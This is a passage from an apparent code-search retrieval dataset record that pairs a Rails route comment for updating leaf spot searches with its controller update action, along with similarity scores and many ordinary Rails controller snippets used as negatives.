"def search\n\n # Starting query for the search to be performed.\n @searchQuery = HotDogStand.all\n\n # Add all of the optional filters the user has specified.\n filterHotDogStandsByFoodPreferences(params)\n filterHotDogStandsByDrinkPreferences(params)\n filterHotDogStandsByCondimentPreferences(params)\n\n # With the resulting stands based on the preferences, filter them down further by distance range.\n hotDogStandsWithFavourablePositions = filterHotDogStandsByDistanceFromReferenceLocation(params)\n\n # Get all of the data that holds the available items for the resulting stands.\n allAvailableItemsForTheStands = gatherAllItemsFromAvailableStands()\n\n\n # Add a distance range return value where the front-end will create a transparent green circle\n # to overlap around the desired area with the user's current location at its center in the\n # Google Maps widget.\n distanceRangeInMeters = 0.00;\n\n if params[\"distanceUnit\"] == \"MI\" and params[\"distanceRange\"] != \"0\"\n distanceRangeInMeters = 1609.34 * params[\"distanceRange\"].to_f\n elsif params[\"distanceUnit\"] == \"KM\" and params[\"distanceRange\"] != \"0\"\n distanceRangeInMeters = 1000 * params[\"distanceRange\"].to_f\n end\n\n # Finally, respond to the AJAX request with a JSON string by putting together the JSON dictionary,\n # then use the gems Ruby on Rails has loaded up to format it into a JSON string.\n respond_to do |format|\n format.json { render json: { referenceLatitude: params[\"latitude\"].to_f, referenceLongitude: params[\"longitude\"].to_f, \\\n distanceRange: distanceRangeInMeters, numberOfResults: hotDogStandsWithFavourablePositions.size, \\\n resultingHotDogStands: hotDogStandsWithFavourablePositions, availableFoodPrices: allAvailableItemsForTheStands[\"availableFoodAndPrices\"], \\\n allFood: Food.all, availableDrinkPrices: allAvailableItemsForTheStands[\"availableDrinksAndPrices\"], allDrinks: Drink.all, \\\n availableCondiments: allAvailableItemsForTheStands[\"availableCondiments\"], allCondiments: Condiment.all } }\n end\n end",
"def destroy\n @leaf_spot_imm_search.destroy\n respond_to do |format|\n format.html { redirect_to leaf_spot_imm_searches_url, notice: 'Leaf spot imm search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def search_for_towns_and_areas\n @towns = use_cache get_controller_action_key do\n Town.all.reject{|town| town.level != 13 && town.level != 1 }\n end\n\n respond_to do |format|\n q = params[:query].mb_chars.capitalize.to_s\n @towns = @towns.select{ |t| Regexp.new(\"^#{q}.*\") =~ t.title }\n format.json\n end\n\n end",
"def editor_search\n @results = Soc_med.where text: params[:term]\n redirect_to '/dashboard'\n end",
"def search\n \n # Populate the @traveler variable\n get_traveler\n \n query = params[:query]\n query_str = query + \"%\"\n Rails.logger.debug query_str\n\n # This array will hold the list of matching places\n matches = [] \n # We create a unique index for mapping etc for each place we find\n counter = 0 \n \n # First search for matching names in my places\n rel = Place.arel_table[:name].matches(query_str)\n places = @traveler.places.active.where(rel)\n places.each do |place|\n matches << {\n \"index\" => counter,\n \"type\" => PLACES_TYPE,\n \"name\" => place.name,\n \"id\" => place.id,\n \"lat\" => place.location.first,\n \"lon\" => place.location.last,\n \"address\" => place.address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => place.name, :address => place.address} })\n }\n counter += 1\n end\n \n # Second search for matching address in trip_places. We manually filter these to find unique addresses\n rel = TripPlace.arel_table[:raw_address].matches(query_str)\n tps = @traveler.trip_places.where(rel).order(\"raw_address\")\n old_addr = \"\"\n tps.each do |tp|\n if old_addr != tp.raw_address\n matches << {\n \"index\" => counter,\n \"type\" => CACHED_ADDRESS_TYPE,\n \"name\" => tp.raw_address,\n \"id\" => tp.id,\n \"lat\" => tp.lat,\n \"lon\" => tp.lon,\n \"address\" => tp.raw_address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => tp.name, :address => tp.raw_address} })\n }\n counter += 1\n old_addr = tp.raw_address\n end \n end\n \n # Lastly search for matching names in the POI table\n rel = Poi.arel_table[:name].matches(query_str)\n pois = Poi.where(rel).limit(MAX_POIS_FOR_SEARCH)\n pois.each do |poi|\n matches << {\n \"index\" => counter,\n \"type\" => POI_TYPE,\n \"name\" => poi.name,\n \"id\" => poi.id,\n \"lat\" => poi.lat,\n \"lon\" => poi.lon,\n \"address\" => poi.address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => poi.name, :address => poi.address} })\n }\n counter += 1\n end\n \n respond_to do |format|\n format.js { render :json => matches.to_json }\n format.json { render :json => matches.to_json }\n end\n end",
"def index\n page = params[:page] || 1\n page = page.to_i\n per_page = params[:per_page] || 25\n per_page = per_page.to_i\n @results = {}\n\n search = params[:searchterm]\n if search && search.empty?\n search = nil\n end\n\n if search\n page = 1\n per_page = 50\n @stats = SearchEngine.search(Stat, search)\n total = @stats.count\n @stats = Kaminari.paginate_array(@stats).page(page).per(per_page)\n \n @searchterm = search\n else\n @stats = Stat.desc(:id).page(page).per(per_page)\n total = Stat.count\n end\n \n @results[:first] = (page-1) * per_page + 1\n @results[:last ] = [total, page * per_page].min\n @results[:total] = total\n end"
] |
[
"0.716472",
"0.70289606",
"0.6843638",
"0.5995051",
"0.5925393",
"0.5724561",
"0.56819296",
"0.5668447",
"0.56587774",
"0.5597701",
"0.55376047",
"0.5479734",
"0.54553634",
"0.5434269",
"0.5424556",
"0.5416983",
"0.5416606",
"0.5392421",
"0.53834224",
"0.5374588",
"0.5364401",
"0.53628564",
"0.53356826",
"0.53347236",
"0.5321843",
"0.5309979",
"0.5291232",
"0.5282504",
"0.5281885",
"0.5273645",
"0.5269583",
"0.5260706",
"0.5256567",
"0.52548593",
"0.52442753",
"0.52423745",
"0.5241827",
"0.5236893",
"0.5236893",
"0.5236893",
"0.5236893",
"0.5236893",
"0.5236893",
"0.5236893",
"0.5236893",
"0.5236893",
"0.5236893",
"0.52209336",
"0.5214212",
"0.5214212",
"0.5207758",
"0.52049375",
"0.52012014",
"0.51886153",
"0.518235",
"0.5182098",
"0.51762986",
"0.51703596",
"0.51690584",
"0.5167093",
"0.51669496",
"0.5164443",
"0.5160683",
"0.5159017",
"0.5156086",
"0.5155708",
"0.5153856",
"0.5153233",
"0.5152869",
"0.51424956",
"0.5139411",
"0.5138126",
"0.5136199",
"0.5133019",
"0.5132007",
"0.5130956",
"0.5124449",
"0.51201594",
"0.5113504",
"0.5113227",
"0.51124966",
"0.511244",
"0.5101257",
"0.5099272",
"0.5098381",
"0.5087316",
"0.5086887",
"0.5085245",
"0.5083868",
"0.5078856",
"0.50786346",
"0.5067856",
"0.5059089",
"0.5056172",
"0.50527537",
"0.5052464",
"0.5047822",
"0.5041863",
"0.5038538",
"0.5037801"
] |
0.6925797
|
2
|
PATCH/PUT /leaf_spot_imm_searches/1 PATCH/PUT /leaf_spot_imm_searches/1.json
|
def update
respond_to do |format|
if @leaf_spot_imm_search.update(leaf_spot_imm_search_params)
format.html { redirect_to @leaf_spot_imm_search, notice: 'Leaf spot imm search was successfully updated.' }
format.json { render :show, status: :ok, location: @leaf_spot_imm_search }
else
format.html { render :edit }
format.json { render json: @leaf_spot_imm_search.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_leaf_spot_imm_search\n @leaf_spot_imm_search = LeafSpotImmSearch.find(params[:id])\n end",
"def leaf_spot_imm_search_params\n params.require(:leaf_spot_imm_search).permit(:search_id, :leaf_spot_imm_id)\n end",
"def update\n respond_to do |format|\n if @leaf.update(leaf_params)\n format.html { redirect_to leaf_path(@leaf), notice: EDIT_SUCCESS }\n format.json { render :show, status: :ok, location: @leaf }\n else\n format.html { render :edit }\n format.json { render json: @leaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @leaf.update(leaf_params)\n format.html { redirect_to @leaf, notice: 'Leaf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @leaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @leaf.update(leaf_params)\n format.html { redirect_to @leaf, notice: t('common.message.updated_success')}\n format.json { render :show, status: :ok, location: @leaf }\n else\n format.html { render :edit }\n format.json { render json: @leaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @custom_search_engine.updated_at = Time.now\n if @custom_search_engine.update_attributes(params[:custom_search_engine])\n flash[:success] = I18n.t('human.success.update', item: I18n.t('human.text.cse'))\n format.html do\n if @node.present?\n redirect_to node_cse_path(@node, @custom_search_engine)\n else\n redirect_to cse_path(@custom_search_engine)\n end\n end\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @custom_search_engine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @leaf_spot_imm_searches = LeafSpotImmSearch.all\n end",
"def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end",
"def update!(**args)\n @index_of_sub_tree_with_splitting_feature = args[:index_of_sub_tree_with_splitting_feature] if args.key?(:index_of_sub_tree_with_splitting_feature)\n @index_of_sub_tree_without_splitting_feature = args[:index_of_sub_tree_without_splitting_feature] if args.key?(:index_of_sub_tree_without_splitting_feature)\n @parent = args[:parent] if args.key?(:parent)\n @path_from_root = args[:path_from_root] if args.key?(:path_from_root)\n @pattern_id = args[:pattern_id] if args.key?(:pattern_id)\n @payload = args[:payload] if args.key?(:payload)\n @splitting_feature = args[:splitting_feature] if args.key?(:splitting_feature)\n @splitting_feature_score = args[:splitting_feature_score] if args.key?(:splitting_feature_score)\n end",
"def update\n respond_to do |format|\n if @microspot.update(microspot_params)\n format.html { redirect_to @microspot, notice: 'Microspot was successfully updated.' }\n format.json { render :show, status: :ok, location: @microspot }\n else\n format.html { render :edit }\n format.json { render json: @microspot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n serialized_params = serialize_preset_search_params\n respond_to do |format|\n if @preset_search.update(serialized_params)\n format.html { redirect_to @preset_search, notice: 'Stored search was successfully updated.' }\n format.json { render :show, status: :ok, location: @preset_search }\n else\n format.html { render :edit }\n format.json { render json: @preset_search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advance_search.update(advance_search_params)\n format.html { redirect_to @advance_search, notice: 'Advance search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @advance_search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @leaf_spot_imm_search = LeafSpotImmSearch.new(leaf_spot_imm_search_params)\n\n respond_to do |format|\n if @leaf_spot_imm_search.save\n format.html { redirect_to @leaf_spot_imm_search, notice: 'Leaf spot imm search was successfully created.' }\n format.json { render :show, status: :created, location: @leaf_spot_imm_search }\n else\n format.html { render :new }\n format.json { render json: @leaf_spot_imm_search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @searched.update(searched_params)\n format.html { redirect_to @searched, notice: 'Searched was successfully updated.' }\n format.json { render :show, status: :ok, location: @searched }\n else\n format.html { render :edit }\n format.json { render json: @searched.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_keyword\n @entry = current_user.entries.find(params[:id])\n @keyword = Keyword.find_by_id(params[:keyword_id])\n @relevance = @keyword.relevances.find_by_entry_id_and_keyword_id(params[:id], params[:keyword_id])\n respond_to do |format|\n if @relevance.update_attributes(params[:relevance])\n format.html { redirect_to(@entry) }\n format.xml { render :text => \"success\"}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :text => \"save_error\" }\n end\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def update\n respond_to do |format|\n if @patent_actions.update(patent_search_params)\n format.html { redirect_to @patent_actions, notice: 'Patent search was successfully updated.' }\n format.json { render :show, status: :ok, location: @patent_actions }\n else\n format.html { render :edit }\n format.json { render json: @patent_search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @searchterm.update(searchterm_params)\n format.html { redirect_to @searchterm, notice: 'Searchterm was successfully updated.' }\n format.json { render :show, status: :ok, location: @searchterm }\n else\n format.html { render :edit }\n format.json { render json: @searchterm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @boost_spec = args[:boost_spec] if args.key?(:boost_spec)\n @branch = args[:branch] if args.key?(:branch)\n @content_search_spec = args[:content_search_spec] if args.key?(:content_search_spec)\n @embedding_spec = args[:embedding_spec] if args.key?(:embedding_spec)\n @facet_specs = args[:facet_specs] if args.key?(:facet_specs)\n @filter = args[:filter] if args.key?(:filter)\n @image_query = args[:image_query] if args.key?(:image_query)\n @offset = args[:offset] if args.key?(:offset)\n @order_by = args[:order_by] if args.key?(:order_by)\n @page_size = args[:page_size] if args.key?(:page_size)\n @page_token = args[:page_token] if args.key?(:page_token)\n @params = args[:params] if args.key?(:params)\n @query = args[:query] if args.key?(:query)\n @query_expansion_spec = args[:query_expansion_spec] if args.key?(:query_expansion_spec)\n @ranking_expression = args[:ranking_expression] if args.key?(:ranking_expression)\n @safe_search = args[:safe_search] if args.key?(:safe_search)\n @spell_correction_spec = args[:spell_correction_spec] if args.key?(:spell_correction_spec)\n @user_info = args[:user_info] if args.key?(:user_info)\n @user_labels = args[:user_labels] if args.key?(:user_labels)\n @user_pseudo_id = args[:user_pseudo_id] if args.key?(:user_pseudo_id)\n end",
"def update\n #@search = Search.find(params[:id])\n #\n #respond_to do |format|\n # if @search.update_attributes(params[:search])\n # format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n # format.json { head :ok }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @search.errors, status: :unprocessable_entity }\n # end\n #end\n end",
"def update\n if spot = SkateSpot.where(:id => params[:id]).first and info = parse_input(params)\n if info.has_key?(:alt_names)\n info[:alt_names].map! { |n| SpotName.find_or_create_by(:name => n, :spot => spot) }\n end\n\n if info[:name]\n info[:name] = SpotName.find_or_create_by(:name => info[:name], :spot => spot) \n end\n\n if info.has_key?(:obstacles)\n info[:obstacles].map! { |o|\n Obstacle.find_or_create_by(:type => ObstacleType.where(:name => o['type']).first, :geometry => o['geometry'], :spot => spot)\n }\n end\n\n render :json => { :status => (spot.update(info) == true ? :success : :unprocessable_entity) }\n else\n render :json => { :status => :unprocessable_entity }\n end\n\n rescue ActiveRecord::RecordNotSaved\n render :json => { :status => :unprocessable_entity }\n end",
"def update\n @term.update_attributes(term_params)\n\n render_item @term, :ok\n end",
"def update\n params[:resource][:term_ids] || []\n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @namesearch = Namesearch.find(params[:id])\n\n respond_to do |format|\n if @namesearch.update_attributes(params[:namesearch])\n format.html { redirect_to @namesearch, notice: 'Namesearch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @namesearch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @work.extra = process_extra if params[:work][:extra_keys] && params[:work][:extra_keys]!= \"\"\n respond_to do |format|\n if @work.update_attributes(params[:work].except(:extra_keys, :extra_values))\n Work.create_locations(@work) if @work.places#.changed?\n Location.destroy_unused\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_to_solr(params,commit=true)\n url=\"#{Blacklight.default_index.connection.options[:url]}/update?commit=#{commit}\"\n RestClient.post url, params,:content_type => :json, :accept=>:json\n end",
"def update\n respond_to do |format|\n if @fnss_simple_kary_tree.update(fnss_simple_kary_tree_params)\n format.html { redirect_to @fnss_simple_kary_tree, notice: 'Fnss simple kary tree was successfully updated.' }\n format.json { render :show, status: :ok, location: @fnss_simple_kary_tree }\n else\n format.html { render :edit }\n format.json { render json: @fnss_simple_kary_tree.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @search = Search.find(params[:id])\n #populate_attributes(@search, params[:search])\n @search.update_attributes(params[:search])\n\n if params[:search_terms]\n @search.url = @website.search_url(params[:search_terms])\n end\n\n respond_to do |format|\n\n if @search.save\n format.html { redirect_to [@website, @search], notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @search_keyword.update(search_keyword_params)\n format.html { redirect_to @search_keyword, notice: 'Search keyword was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @search_keyword.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n \n else\n format.html { render action: 'edit' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @patent = Patent.find(params[:id])\n\n respond_to do |format|\n if params[:patent][:research_areas]\n research_area = ResearchArea.find(params[:patent][:research_areas].to_i)\n @patent.research_areas << research_area\n @patent.save\n format.json { render json: research_area }\n elsif @patent.update_attributes(params[:patent])\n format.html { redirect_to @patent, notice: 'Patent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patent.errors, status: :unprocessable_entity }\n end\n end\n end",
"def official_search_params\n params.permit(:official_ids, :keyword)\n end",
"def update\n respond_to do |format|\n if @grep_multi.update(grep_multi_params)\n format.html { redirect_to @grep_multi, notice: 'Grep multi was successfully updated.' }\n format.json { render :show, status: :ok, location: @grep_multi }\n else\n format.html { render :edit }\n format.json { render json: @grep_multi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @saved_search = SavedSearch.find(params[:id])\n\n respond_to do |format|\n @saved_search.name = params[:name]\n @saved_search.query = params[:query]\n if @saved_search.save\n format.html { redirect_to :channels, :notice => 'Your channel was successfully saved.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @saved_search.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @word_root.update(word_root_params)\n format.html { redirect_to @word_root, notice: 'Word root was successfully updated.' }\n format.json { render :show, status: :ok, location: @word_root }\n format.js\n else\n format.html { render :edit }\n format.json { render json: @word_root.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @hp_search.update(hp_search_params)\n format.html { redirect_to @hp_search, notice: 'Hp search was successfully updated.' }\n format.json { render :show, status: :ok, location: @hp_search }\n else\n format.html { render :edit }\n format.json { render json: @hp_search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @notebook = Notebook.find(params[:id])\n\n respond_to do |format|\n if @notebook.update_attributes(:annotation=>params[:text])\n format.html { redirect_to @notebook, notice: 'Notebook was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @notebook.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @annotated_phrase = args[:annotated_phrase] if args.key?(:annotated_phrase)\n @annotations = args[:annotations] if args.key?(:annotations)\n @author = args[:author] if args.key?(:author)\n @byline_date = args[:byline_date] if args.key?(:byline_date)\n @constituency_node = args[:constituency_node] if args.key?(:constituency_node)\n @constituency_root = args[:constituency_root] if args.key?(:constituency_root)\n @content_firstseen = args[:content_firstseen] if args.key?(:content_firstseen)\n @content_type = args[:content_type] if args.key?(:content_type)\n @contentage = args[:contentage] if args.key?(:contentage)\n @date = args[:date] if args.key?(:date)\n @docid = args[:docid] if args.key?(:docid)\n @entity = args[:entity] if args.key?(:entity)\n @entity_label = args[:entity_label] if args.key?(:entity_label)\n @focus_entity = args[:focus_entity] if args.key?(:focus_entity)\n @golden = args[:golden] if args.key?(:golden)\n @http_headers = args[:http_headers] if args.key?(:http_headers)\n @hyperlink = args[:hyperlink] if args.key?(:hyperlink)\n @labeled_spans = args[:labeled_spans] if args.key?(:labeled_spans)\n @language = args[:language] if args.key?(:language)\n @last_significant_update = args[:last_significant_update] if args.key?(:last_significant_update)\n @measure = args[:measure] if args.key?(:measure)\n @privacy_sensitive = args[:privacy_sensitive] if args.key?(:privacy_sensitive)\n @relation = args[:relation] if args.key?(:relation)\n @rpc_error = args[:rpc_error] if args.key?(:rpc_error)\n @semantic_node = args[:semantic_node] if args.key?(:semantic_node)\n @subsection = args[:subsection] if args.key?(:subsection)\n @syntactic_date = args[:syntactic_date] if args.key?(:syntactic_date)\n @text = args[:text] if args.key?(:text)\n @title = args[:title] if args.key?(:title)\n @token = args[:token] if args.key?(:token)\n @topic = args[:topic] if args.key?(:topic)\n @trace = args[:trace] if args.key?(:trace)\n @url = args[:url] if args.key?(:url)\n end",
"def update_search\n respond_to do |format|\n #byebug\n if params[:q] == nil\n unless search_params.nil?\n #search_params.each do |key, param|\n # search_params[key] = nil\n #end\n search_params[params[:update_filter]] = nil\n session[:search_key][params[:update_filter]] = nil\n end\n #session.delete('search_key')\n else\n if session[:search_key].nil?\n session[:search_key] = {}\n end\n session[:search_key][params[:update_filter]] = params[:q][params[:update_filter]]\n end\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end",
"def update\n @tagsearch = Tagsearch.find(params[:id])\n\n respond_to do |format|\n if @tagsearch.update_attributes(params[:tagsearch])\n format.html { redirect_to @tagsearch, notice: 'Tagsearch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tagsearch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person_search = PersonSearch.find(params[:id])\n\n respond_to do |format|\n if @person_search.update_attributes(params[:person_search])\n format.html { redirect_to @person_search, notice: 'Person search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person_search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @applied_controls = args[:applied_controls] if args.key?(:applied_controls)\n @attribution_token = args[:attribution_token] if args.key?(:attribution_token)\n @corrected_query = args[:corrected_query] if args.key?(:corrected_query)\n @facets = args[:facets] if args.key?(:facets)\n @guided_search_result = args[:guided_search_result] if args.key?(:guided_search_result)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @query_expansion_info = args[:query_expansion_info] if args.key?(:query_expansion_info)\n @redirect_uri = args[:redirect_uri] if args.key?(:redirect_uri)\n @results = args[:results] if args.key?(:results)\n @summary = args[:summary] if args.key?(:summary)\n @total_size = args[:total_size] if args.key?(:total_size)\n end",
"def update!(**args)\n @search_text = args[:search_text] if args.key?(:search_text)\n end",
"def update!(**args)\n @search_text = args[:search_text] if args.key?(:search_text)\n end",
"def update\n respond_to do |format|\n if @route_search.update(route_search_params)\n format.html { redirect_to @route_search, notice: 'Route search was successfully updated.' }\n format.json { render :show, status: :ok, location: @route_search }\n else\n format.html { render :edit }\n format.json { render json: @route_search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @seo_search_term = Seo::SearchTerm.find(params[:id])\n\n respond_to do |format|\n if @seo_search_term.update_attributes(params[:seo_search_term])\n flash[:notice] = 'Seo::SearchTerm was successfully updated.'\n format.html { redirect_to seo_search_terms_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @seo_search_term.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sneaker.update(sneaker_params)\n Sneaker.reindex\n format.html { redirect_to @sneaker, notice: 'Sneaker was successfully updated.' }\n format.json { render :show, status: :ok, location: @sneaker }\n else\n format.html { render :edit }\n format.json { render json: @sneaker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @event = Event.find(params[:id])\n if @event.searchable==nil\n @event.searchable = \" \"\n end\n if @event.analyst_id != nil\n @event.searchable = @event.searchable + \" \" + @event.analyst.analyst\n end\n # @event.searchable = @event.searchable+ \" \" + @event.idstring\n if @event.description != nil\n @event.searchable = @event.searchable+\" \"+@event.description\n end\n if @event.address!=nil\n @event.searchable=@event.searchable+\" \"+@event.address\n end\n if @event.locality_id!=nil\n @event.searchable=@event.searchable+\" \"+@event.locality.locality\n end\n if @event.area_id!=nil\n @event.searchable=@event.searchable+\" \"+@event.area.description\n end\n if @event.crime_id!=nil\n @event.searchable=@event.searchable+\" \"+@event.crime.crime\n end\n\n if @event.observations!=nil\n @event.searchable=@event.searchable+\" \"+@event.observations\n end\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Evento actualizado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @people_term.update(people_term_params)\n format.html { redirect_to @people_term, notice: 'People term was successfully updated.' }\n format.json { render :show, status: :ok, location: @people_term }\n else\n format.html { render :edit }\n format.json { render json: @people_term.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @search_input.update\n end",
"def update\n @search_term = SearchTerm.find(params[:id])\n\n respond_to do |format|\n if @search_term.update_attributes(params[:search_term])\n format.html { redirect_to(@search_term, :notice => 'SearchTerm was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @search_term.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @suggested_query = args[:suggested_query] if args.key?(:suggested_query)\n end",
"def update!(**args)\n @suggested_query = args[:suggested_query] if args.key?(:suggested_query)\n end",
"def update\n @search = Search.find(params[:id])\n\n respond_to do |format|\n if @search.update_attributes(params[:search])\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @search = Search.find(params[:id])\n\n respond_to do |format|\n if @search.update_attributes(params[:search])\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @search = Search.find(params[:id])\n\n respond_to do |format|\n if @search.update_attributes(params[:search])\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @search = Search.find(params[:id])\n\n respond_to do |format|\n if @search.update_attributes(params[:search])\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @keyword.update(keyword_params)\n format.html { redirect_to @keyword, notice: 'Keyword was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @keyword.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @suggest_results = args[:suggest_results] if args.key?(:suggest_results)\n end",
"def update!(**args)\n @suggest_results = args[:suggest_results] if args.key?(:suggest_results)\n end",
"def update\n if @suggestion.update(suggestion_params)\n render :show, status: :ok, location: @suggestion\n else\n render json: @suggestion.errors, status: :unprocessable_entity\n end\n end",
"def update!(**args)\n @disable_relevance_thresholding = args[:disable_relevance_thresholding] if args.key?(:disable_relevance_thresholding)\n @enable_broadening = args[:enable_broadening] if args.key?(:enable_broadening)\n @enable_precise_result_size = args[:enable_precise_result_size] if args.key?(:enable_precise_result_size)\n @filters = args[:filters] if args.key?(:filters)\n @histogram_facets = args[:histogram_facets] if args.key?(:histogram_facets)\n @job_view = args[:job_view] if args.key?(:job_view)\n @mode = args[:mode] if args.key?(:mode)\n @offset = args[:offset] if args.key?(:offset)\n @order_by = args[:order_by] if args.key?(:order_by)\n @page_size = args[:page_size] if args.key?(:page_size)\n @page_token = args[:page_token] if args.key?(:page_token)\n @query = args[:query] if args.key?(:query)\n @request_metadata = args[:request_metadata] if args.key?(:request_metadata)\n @sort_by = args[:sort_by] if args.key?(:sort_by)\n end",
"def update!(**args)\n @disable_relevance_thresholding = args[:disable_relevance_thresholding] if args.key?(:disable_relevance_thresholding)\n @enable_broadening = args[:enable_broadening] if args.key?(:enable_broadening)\n @enable_precise_result_size = args[:enable_precise_result_size] if args.key?(:enable_precise_result_size)\n @filters = args[:filters] if args.key?(:filters)\n @histogram_facets = args[:histogram_facets] if args.key?(:histogram_facets)\n @job_view = args[:job_view] if args.key?(:job_view)\n @mode = args[:mode] if args.key?(:mode)\n @offset = args[:offset] if args.key?(:offset)\n @order_by = args[:order_by] if args.key?(:order_by)\n @page_size = args[:page_size] if args.key?(:page_size)\n @page_token = args[:page_token] if args.key?(:page_token)\n @query = args[:query] if args.key?(:query)\n @request_metadata = args[:request_metadata] if args.key?(:request_metadata)\n @sort_by = args[:sort_by] if args.key?(:sort_by)\n end",
"def update\n @home_search = Home::Search.find(params[:id])\n\n respond_to do |format|\n if @home_search.update_attributes(params[:home_search])\n format.html { redirect_to @home_search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @home_search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @suggestion_box.update(suggestion_box_params)\n format.html { redirect_to @suggestion_box, notice: 'Suggestion box was successfully updated.' }\n format.json { render :show, status: :ok, location: @suggestion_box }\n else\n format.html { render :edit }\n format.json { render json: @suggestion_box.errors, status: :unprocessable_entity }\n end\n end\n end",
